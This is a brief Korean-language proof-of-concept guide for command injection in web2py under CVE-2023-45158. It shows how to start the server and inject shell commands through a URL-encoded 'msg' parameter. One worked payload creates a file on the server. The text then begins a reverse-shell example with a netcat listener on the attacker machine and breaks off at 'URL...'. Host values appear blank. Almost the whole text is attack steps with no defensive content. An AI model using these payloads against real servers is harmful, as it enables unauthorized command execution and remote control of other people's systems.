CVE-2023-45158

CVE-2023-45158 단계 1. 웹 서버를 실행합니다. cd web2py python3 web2py.py 2. URL http://:8000/hack?msg=%27%3B%3B%27을 사용하여 명령어를 주입합니다. 와 를 자신의 값으로 교체하세요. 예시 1. 서버에 파일 생성 http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. 리버스 셸 공격자 머신에서 nc -l 127.0.0.1 8080을 실행합니다. URL...